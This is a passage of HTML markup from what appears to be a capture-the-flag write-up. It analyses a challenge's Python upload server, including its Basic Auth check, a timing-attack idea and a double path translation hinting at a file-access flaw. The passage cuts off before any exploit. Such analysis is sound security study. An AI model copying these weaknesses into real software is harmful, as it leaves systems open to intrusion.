                    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;File uploaded successfully&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Invalid upload request&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ThreadingTCPServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socketserver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ThreadingMixIn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socketserver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TCPServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;daemon_threads&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;allow_reuse_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ThreadingTCPServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PORT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SecureHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Server running on port &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PORT&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; with Basic Auth (&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;USERNAME&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PASSWORD&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serve_forever&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;analysing-the-code&quot;&gt;Analysing the code&lt;/h2&gt;

&lt;p&gt;The code creates a threading TCP server on port 9000 which implements a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_GET&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_POST&lt;/code&gt; handlers for the respective HTTP request methods. Those functions allow us to get and create files if we authenticated properly whereas the authentication is just a (not so great) Basic HTTP authentication, where you encode username and password delimited by the “:” character and encode it with the base64 encoding.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;USERNAME&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USERNAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;PASSWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PASSWORD&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecureHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;authenticate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Authorization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Basic &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
    
        &lt;span class=&quot;n&quot;&gt;encoded_credentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;decoded_credentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoded_credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;input_username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decoded_credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;USERNAME&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PASSWORD&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Actually, the server compares the decoded username and password insecurely, using a non-constant time comparison, which may allow us to leak the expected username and password (if they were changed through environment variables) using a “timing attack” technique where we would compare the difference in time it takes to compare different usernames and passwords (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;aa&quot;==&quot;ab&quot;&lt;/code&gt; takes longer than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;bb&quot;==&quot;ab&quot;&lt;/code&gt;). In practice, such an attack would likely be infeasible as the comparison timing differences are too small to measure over the network.&lt;/p&gt;

&lt;p&gt;To add to that, the organizers actually gave us the username and password values for the instance that we spawned. So in the end, we did not have to break the authentication at all.&lt;/p&gt;

&lt;p&gt;Then, in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_GET&lt;/code&gt; handler, the server translates the provided path and if it is a file, it returns a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http.server.SimpleHTTPRequestHandler.do_GET(self)&lt;/code&gt;. This base class method eventually returns the requested file after translating its path (for the second time!) which we can see below. If the path is not a file, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list_directory&lt;/code&gt; is called, which really just returns a HTTP response with a 403 status code that “Directory listing is not enabled”.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecureHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;requested_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;translate_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;requested_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;do_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list_directory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;requested_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;list_directory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;403&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Directory listing is disabled.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BaseHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Serve a GET request.&quot;&quot;&quot;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;copyfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# wfile is the socket
&lt;/span&gt;            &lt;span class=&quot;k&quot;&gt;finally&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;send_head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;translate_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;parts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlsplit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;rb&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_POST&lt;/code&gt;, the server processes the uploaded file path and content through a multipart form data and eventually saves it to a safe path:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecureHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;multipart/form-data&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
